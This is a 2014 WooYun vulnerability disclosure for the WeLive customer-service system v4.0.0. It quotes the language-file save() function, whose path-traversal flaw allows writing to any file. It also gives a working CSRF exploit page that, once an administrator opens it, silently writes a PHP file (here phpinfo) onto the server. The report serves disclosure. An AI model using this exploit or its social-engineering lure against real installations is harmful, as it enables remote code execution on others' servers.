当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061247

漏洞标题：代码审计系列6: 闻泰网络某旗下PHP应用远程代码执行(CSRF)

相关厂商：闻泰网络

漏洞作者： LaiX

提交时间：2014-05-18 22:41

修复时间：2014-08-16 22:42

公开时间：2014-08-16 22:42

漏洞类型：命令执行

危害等级：高

自评Rank：12

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-08-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

闻泰网络某旗下PHP应用 远程代码执行

详细说明：

WeLive免费在线客服系统 v4.0.0 。后台GETSHELL+CSRF=远程代码执行。并且还能修改任意文件的内容。
漏洞版本下载地址：
http://down.chinaz.com/soft/29965.htm
官方网站:
http://www.weentech.com/bbs/forum-14-1.html
漏洞文件位置在：\WeLive\admin\controllers\language.php 第71行处的 save() 函数

//保存语言文件
    public function save(){
		$filename = ForceStringFrom('filename');
		$file = $this->lang_path . $filename;
		if (is_writable($file)) {
			$filecontent = trim($_POST['filecontent']);
			if (get_magic_quotes_gpc()) {
				$filecontent = stripslashes($filecontent);
			}
			$fd = fopen($file, 'wb');
			fputs($fd,$filecontent);
			return true;
		}else{
			return "语言文件($filename)不可写! 请将其属性设置为: 777";
		}
	}


没有对路径进行过滤筛选，也没有白名单。直接构造上跳路径可以修改任意文件。
当我们接通了客服妹妹，我们发送一个exp的网址，构造如下：

<html>
   <meta charset = "utf-8">
   <title>正在跳转...</title>
</html>
<h1>正在跳转...</h1>
<body>
    <iframe id="_iframe" src="http://www.weentech.com/" style='display:none'></iframe>
</body>
<script>
function CSRF()
{
      _iframe.document.write(
      	             "<form id='_form' action='http://127.0.0.1/WeLive/admin/index.php?c=language&a=ajax' method='post'>"
                      +"<input type='hidden' name='filename' value='/../welive1618.php'>"
                      +"<input type='hidden' name='action' value='savelang'>"
                      +"<input type='hidden' name='filecontent' value='<?php phpinfo(); ?>'>" 
                      +"</form>"
                      +"<script>document.getElementById('_form').submit();<\/script>"
	                );
}
CSRF();
window.setTimeout("window.location.href='http://www.baidu.com/'", 5000); //延迟5秒后跳转到指定网页
</script>
</html>


漏洞证明：

当客户妹妹执行了写入操作后。
我们访问：
http://127.0.0.1/WeLive/welive1618.php

1.png


修复方案：

你们应该知道的

版权声明：转载请注明来源 LaiX@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝